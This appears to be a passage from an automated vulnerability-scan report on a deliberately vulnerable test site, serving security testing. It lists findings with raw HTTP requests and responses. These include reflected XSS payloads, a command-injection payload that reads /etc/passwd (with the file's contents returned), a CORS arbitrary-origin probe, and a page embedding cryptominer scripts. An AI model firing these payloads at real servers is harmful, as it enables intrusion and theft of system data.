AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
name=Pedro+Miguel&comment=%3C%2Fp%3E%3CscrIpt%3Ealert%2810624%29%3B%3C%2FscRipt%
3E%3Cp%3E
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:12:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<html>
  <head>
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
    <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
    <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
    <title>WackoPicko.com</title>
  </head>
  <body>
    <div class="container " style="border: 2px solid #5c95cf;">
      <div class="column span-24 first last">
        <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
      </div>
      <div id="menu">
        <div class="column prepend-1 span-14 first">
          <ul class="menu">
            <li class=""><a
href="/WackoPicko/users/home.php"><span>Home</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/upload.php"><span>Upload</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/recent.php"><span>Recent</span></a></li>
            <li class="current"><a
href="/WackoPicko/guestbook.php"><span>Guestbook</span></a></li>
```

# 13 Reflected cross-site scripting

HIGH

CVSS SCORE
6.1

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
GET	http://test-0.ox.qa.prbly.win/WackoPicko/pictures/search.php	query

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside t he vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the logi n form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from tempor arily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that req uires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (output s) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server a nd reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
</form>
    </div>
      </div>

<div class="column prepend-1 span-24 first last">
<h2>Pictures that are tagged as '</h2><scrIpt>alert(81042);</scRipt><h2>'</h2>

   <div class="column prepend-1 span-21 first last" style="margin-bottom: 2em;">
      <h3 class="error">No pict
```

REQUEST

```
GET /WackoPicko/pictures/search.php?query=%3C%2Fh2%3E%3CscrIpt%3Ealert%2881042%2
9%3B%3C%2FscRipt%3E%3Ch2%3E&x=0&y=0 HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/WackoPicko/
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
```

```
ProbelySPDR/0.2.0
Content-Length: 0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:11:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<html>
  <head>
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
    <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
    <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
    <title>WackoPicko.com</title>
  </head>
  <body>
    <div class="container " style="border: 2px solid #5c95cf;">
      <div class="column span-24 first last">
        <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
      </div>
      <div id="menu">
        <div class="column prepend-1 span-14 first">
          <ul class="menu">
            <li class=""><a
href="/WackoPicko/users/home.php"><span>Home</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/upload.php"><span>Upload</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/recent.php"><span>Recent</span></a></li>
            <li class=""><a
href="/WackoPicko/guestbook.php"><span>Guestbook</span></a></li>
```

# 14 Reflected cross-site scripting

HIGH

CVSS SCORE
6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH	PARAMETER
POST	https://test-0.ox.qa.prbly.win/WackoPicko/piccheck.php	name

DESCRIPTION

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside the vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the login form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from temporarily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that requires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (outputs) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server and reflected back to the victim's browser, in the source code of the page.

EVIDENCE

The following line(s) includes input without being properly escaped:

```
em;" />
      </form>
    </div>
      </div>


<div class="column prepend-1 span-24 first last">
  <h2>Checking your file </h2><scrIpt>alert(87726);</scRipt><h2></h2>
  <p>
    File is O.K. to upload!
  </p>
</div>


       <div class="column span-24 first last" id="footer" >
    <ul
```

REQUEST

```
POST /WackoPicko/piccheck.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 427
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/WackoPicko/
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: multipart/form-data;
```

```
boundary=----WebKitFormBoundaryBW4RgxafuzTKbQ0v
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
------WebKitFormBoundaryBW4RgxafuzTKbQ0v
Content-Disposition: form-data; name="MAX_FILE_SIZE"
30000
------WebKitFormBoundaryBW4RgxafuzTKbQ0v
Content-Disposition: form-data; name="userfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryBW4RgxafuzTKbQ0v
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:04:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<html>
  <head>
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
    <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
    <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
    <title>WackoPicko.com</title>
  </head>
  <body>
    <div class="container " style="border: 2px solid #5c95cf;">
      <div class="column span-24 first last">
        <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
      </div>
      <div id="menu">
        <div class="column prepend-1 span-14 first">
          <ul class="menu">
            <li class="current"><a
href="/WackoPicko/users/home.php"><span>Home</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/upload.php"><span>Upload</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/recent.php"><span>Recent</span></a></li>
            <li class=""><a
href="/WackoPicko/guestbook.php"><span>Guestbook</span></a></li>
```

26 OS command injection

HIGH

CVSS SCORE
9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

METHOD	PATH	PARAMETER
POST	http://test-0.ox.qa.prbly.win/WackoPicko/passcheck.php	password

DESCRIPTION

A command injection vulnerability allows the attacker to execute arbitrary operating system commands on the server. In the worst case scenario, the attacker will be able to fully administrate the server, which will enable him to extract sensitive data, modify the application contents or delete data.

These attacks happen when user supplied data (forms, cookies, HTTP headers etc.) is passed into a function that executes shell co mmands, without being properly sanitized. Because this sanitization is usually hard, it is recommended to avoid executing shell co mmands within the application, especially those with user supplied input. Instead use the APIs your language provides you.

EVIDENCE

By sending the payload `probely_Password1!sleep 10` that contains the command `sleep 10` we detected an increase in the respon se time that indicates that the command was executed. The responses times with 0 delay were (miliseconds)

```
181
181
167
```

and the responses times with the delay were (miliseconds)

```
10151
10014
10182
10010
```

REQUEST

```
POST /WackoPicko/passcheck.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 193
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/WackoPicko/passcheck.php
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
password=probely_Password1%21%7Ccat+%2Fetc%2Fpasswd%7C%7Ccat+%2Fetc%2Fpasswd+%23
%27+%7Ccat+%2Fetc%2Fpasswd%7C%7Ccat+%2Fetc%2Fpasswd+%23%7C%22+%7Ccat+%2Fetc%2Fpa
sswd%7C%7Ccat+%2Fetc%2Fpasswd+%23
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:41:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time
Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network
Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
```

# 40 Cross Origin Resource Sharing: Arbitrary Origin Trusted

HIGH

CVSS SCORE
8.1

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/WackoPicko/

DESCRIPTION

An HTML5 Cross-Origin Resource Sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged-in user.

The aforementioned impact is exploitable because the site specifies the header Access-Control-Allow-Credentials: true and allows any arbitrary origin to bypass same-origin policy as can be seen in the response header Access-Control-Allow-Origin.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.

EVIDENCE

We requested the resource from an arbitrary origin, using the following request header:

`Origin: https://yIYpFoAi.com`

and the application allowed it, by replying with the following response headers:

```
Content-Type: text/html; charset=UTF-8

Access-Control-Allow-Origin: https://yIYpFoAi.com

Access-Control-Allow-Credentials: true
```

REQUEST

```
GET /WackoPicko HTTP/1.1
accept-encoding: gzip, deflate
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
Origin: https://yIYpFoAi.com
upgrade-insecure-requests: 1
```

```
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
Authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
Content-Length: 0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:09:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cookie_4242=123e4567-e89b-12d3-a456-426655440000; expires=Tue,
03-Jan-2023 07:09:08 GMT; Max-Age=7200; path=/; domain=test-0.ox.qa.prbly.win
Set-Cookie: __cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515; expires=Tue,
03-Jan-2023 07:09:08 GMT; Max-Age=7200; path=/; domain=test-0.ox.qa.prbly.win
Set-Cookie: if_u_see_this_in_a_finding_there_is_a_bug=abcd; expires=Tue,
03-Jan-2023 07:09:08 GMT; Max-Age=7200; path=/; domain=test-0.ox.qa.prbly.win
Set-Cookie: abcdef=abcdef; expires=Tue, 03-Jan-2023 07:09:08 GMT; Max-Age=7200;
path=/; domain=test-0.ox.qa.prbly.win
Content-Security-Policy: default-src 'self' https: data: wss: 'unsafe-inline';
script-src 'self' https: data: 'unsafe-inline' 'unsafe-eval'; report-uri
https://probely.report-uri.com/r/d/csp/enforce
Access-Control-Allow-Origin: https://yIYpFoAi.com
Access-Control-Allow-Credentials: true
Content-Encoding: gzip
<html>
  <head>
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
    <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
    <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
    <title>WackoPicko.com</title>
  </head>
  <body>
    <div class="container " style="border: 2px solid #5c95cf;">
      <div class="column span-24 first last">
        <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
      </div>
```

# 118 ASP.NET tracing enabled

HIGH

CVSS SCORE
8.1 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

METHOD

GET

PATH

https://test-0.ox.qa.prbly.win/trace.axd

DESCRIPTION

The ASP.NET tracing feature allows debugging of the web server interactions, by displaying full details of the requests and response s of all users visiting the site. These details are available in a well known URL that is accessible to any user, disclosing any sensitiv e information that is present there such as session tokens, credentials, private personal information and anything transmitted to an d from the application.

An attacker that visits the ASP.NET trace page will easily hijack the accounts of any other user logged in the application just by usi ng the session token it got there.

EVIDENCE

```
{
  "lines": [
    "<html><H1>Application Trace</H1>",
    "",
    "TraceSample",
    "",
    "",
    "</html>"
  ]
}
```

REQUEST

```
GET /trace.axd HTTP/1.1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
fe-server: 1
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
host: test-0.ox.qa.prbly.win
accept-encoding: gzip, deflate
Content-Length: 0
Cookie:
comment_author_email_881fafb8a9fff88c22a59cbe5116a8b6=scanner%40probe.ly;
wordpress_test_cookie=WP+Cookie+check; PHPSESSID=d8rrf1q39ma00dleqo3osq1uo2;
comment_author_881fafb8a9fff88c22a59cbe5116a8b6=Pedro+Miguel;
comment_author_url_881fafb8a9fff88c22a59cbe5116a8b6=https%3A%2F%2Fprobely.com
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:45:23 GMT
Content-Type: application/octet-stream
Content-Length: 55
Last-Modified: Tue, 18 Jan 2022 16:07:50 GMT
Connection: keep-alive
ETag: "61e6e5d6-37"
Accept-Ranges: bytes
```

```
<html><H1>Application Trace</H1>
TraceSample
</html>
```

# 6 Weak cipher suites enabled

MEDIUM

CVSS SCORE
7.4 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

The server supports weak cipher suites for SSL/TLS connections. These cipher suites are currently considered broken and, dependin g on the specific cipher suite, offer poor or no security at all. Thus defeating the purpose of using a secure communication channel in the first place.

Any connection to the server using a weak cipher suite is at risk of being eavesdropped and tampered with by an attacker that ca n intercept connections. This is more likely to occur to Wi-Fi clients.

Depending on the cipher suites used, a connection may be at an immediate risk of being intercepted.

The following issues need to be addressed:

- Symmetric 64 bit ciphers enabled (vulnerable to SWEET32) CVE-CVE-2016-2183
- CBC ciphers enabled. Potentially vulnerable to padding oracle attacks
- RC4 cipher enabled CVE-CVE-2013-2566 CVE-CVE-2015-2808

EVIDENCE

The following weak ciphers are enabled:

- TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
- TLS_DHE_RSA_WITH_AES_128_CBC_SHA
- TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
- TLS_DHE_RSA_WITH_AES_256_CBC_SHA
- TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
- TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
- TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
- TLS_DHE_RSA_WITH_SEED_CBC_SHA
- TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
- TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
- TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
- TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
- TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
- TLS_ECDHE_RSA_WITH_RC4_128_SHA
- TLS_RSA_WITH_3DES_EDE_CBC_SHA
- TLS_RSA_WITH_AES_128_CBC_SHA
- TLS_RSA_WITH_AES_128_CBC_SHA256
- TLS_RSA_WITH_AES_128_GCM_SHA256
- TLS_RSA_WITH_AES_256_CBC_SHA
- TLS_RSA_WITH_AES_256_CBC_SHA256
- TLS_RSA_WITH_AES_256_GCM_SHA384

- TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
- TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
- TLS_RSA_WITH_RC4_128_MD5
- TLS_RSA_WITH_RC4_128_SHA
- TLS_RSA_WITH_SEED_CBC_SHA

# 3 Untrusted TLS certificate

MEDIUM

CVSS SCORE
5.8 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

The certificate sent by the server is not trusted.

This may be due to one of the following reasons: * The requested hostname does not match the CN or SAN attribute of the TLS Ce rtificate; * The issuer of this certificate is not trusted. This can happen if the certificate is self-signed, or the certificate issuer is not a recognized Certificate Authority; * The server did not send the complete certificate chain. This usually means that the server did not send a required intermediate CA certificate.

If this problem is intermittent, it might be because your site is behind a load balancer, and one of the servers is misconfigured or i s sending an incorrect certificate.

The following issues need to be addressed:

- No SAN, browsers are complaining
- Certificate does not match supplied URI (same w/o SNI)
- Failed (self signed).

EVIDENCE

```
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            b6:b4:5a:08:bf:d8:0a:61
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = PT, ST = Some-State, L = Lisbon, O = Oxtest1, CN = ox-test1.westeurope.cloudapp.azure.co
m, emailAddress = nuno@brpx.com
        Validity
            Not Before: Oct 27 17:50:54 2016 GMT
            Not After : Oct 27 17:50:54 2017 GMT
        Subject: C = PT, ST = Some-State, L = Lisbon, O = Oxtest1, CN = ox-test1.westeurope.cloudapp.azure.co
m, emailAddress = nuno@brpx.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:c7:a6:ec:12:3e:08:3b:76:1a:fe:8c:b9:12:c2:
                    70:e4:a1:e4:28:4c:48:40:18:80:0b:7e:65:41:fc:
                    06:2e:03:90:9a:47:05:ff:d5:7d:d3:b6:62:e0:fe:
                    32:72:05:ee:e9:2a:bd:a7:f7:a1:1d:16:99:79:cc:
                    95:33:f1:c7:85:38:9e:2d:e7:5f:32:a2:3a:fb:da:
                    0d:f4:b3:3e:93:40:e9:0a:72:3c:8d:16:29:9d:ca:
                    d6:9d:f9:70:a9:b0:66:27:37:3b:94:83:f0:ec:57:
                    78:a9:ac:bf:0f:6b:5f:ce:55:c2:c4:8f:be:20:6f:
                    e2:de:65:4e:a5:54:f2:52:0f:34:88:96:38:a4:62:
                    5a:63:ca:85:2e:79:4b:c2:c6:47:38:c8:71:d3:7a:
                    6f:c4:ba:06:79:e6:c6:bb:1f:3c:19:46:50:52:a4:
                    ee:cf:ff:50:6e:fa:7c:9f:c9:77:9d:0d:f6:9e:32:
                    21:5a:2e:a7:fb:39:05:a9:58:fe:9e:18:59:f2:f3:
                    2e:08:0f:e4:f5:c5:f1:30:55:23:13:b4:ca:91:78:
                    87:ec:c7:00:c1:70:cd:f2:ac:08:b7:dd:4e:3e:db:
                    f5:2b:1f:7c:8a:6d:19:8f:9b:74:2c:e3:88:20:ca:
                    f0:3f:fb:88:17:a7:06:61:be:50:0c:72:82:4a:26:
                    cc:a9
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                0C:A0:06:63:07:A5:8C:AA:83:3B:B2:B3:00:9F:EA:B2:77:D9:87:1C
            X509v3 Authority Key Identifier:
                keyid:0C:A0:06:63:07:A5:8C:AA:83:3B:B2:B3:00:9F:EA:B2:77:D9:87:1C

            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         b5:00:21:c1:f1:09:18:03:95:09:b8:67:c7:dc:a4:b5:48:96:
         44:49:8d:57:d7:a7:6a:61:eb:26:09:ef:09:e3:20:b9:ac:31:
         97:8b:37:54:d0:49:00:c8:3f:77:49:64:16:bd:dd:93:d4:a7:
         13:ab:3c:1c:d4:09:de:c4:8f:14:89:fe:ea:e8:72:85:36:cc:
         43:5d:7c:4f:ec:6d:5a:07:ce:69:45:12:b0:82:fa:14:29:6c:
         cf:7e:c1:5f:66:7a:ce:61:71:b5:75:fd:db:55:a7:49:dd:12:
         71:25:07:8c:e2:68:41:b4:e5:c1:11:9b:eb:56:44:f9:a0:63:
         02:15:6a:91:d4:88:cb:ef:23:48:98:4f:de:8c:83:9d:27:f3:
         37:fc:9f:3e:21:44:37:0c:8d:4f:c5:cd:4d:2d:63:e2:f6:a0:
         ec:1f:1a:c1:ff:73:6b:86:20:b6:dd:b7:d9:fd:a4:d2:b4:93:
         37:26:cd:fe:b0:9f:64:fb:23:71:5f:82:4c:4b:30:e3:fd:46:
         4a:80:b3:b9:66:2f:04:02:dc:ff:c3:7a:28:8b:cc:20:3e:5a:
         b8:81:6a:61:98:7b:a3:bf:5d:41:48:2b:17:ef:40:f6:0f:7d:
         5f:83:a1:5a:86:eb:4a:a0:32:2c:47:ce:97:33:79:76:97:ff:
         19:c2:9b:b8
```

# 55 Mixed content

MEDIUM

CVSS SCORE
7.7 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/WackoPicko/crypto/

DESCRIPTION

The application is loaded over an HTTPS connection but it loads resources over an unencrypted connection, in HTTP. If an attacker i s strategically positioned between the victim and the applications it can eavesdrop all communications between them. In this case, it would only be able to eavesdrop the resource loaded over HTTP, but it could modify its contents to affect other parts of the appl ication, even if they are loaded over a secure connection.

A possible scenario would be for the attacker to modify some JavaScript content, loaded over HTTP, that handles the login form su bmission. Suppose the destination host of the login request is defined in the JavaScript file and the attacker changes it to host cont rolled by him, thus getting access to the victim's credentials.

EVIDENCE

List of resources being included in HTTP:

```
<script src="http://api.btcc.com/aa">
```

REQUEST

```
GET /WackoPicko/crypto/ HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:01:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
```

```
Content-Encoding: gzip
<html>
<head></head>
<body>
<br>
<script src="//coinhive.com/404.min.js"></script>
<div>
<script src=//api.coinhive.com/mine></script>
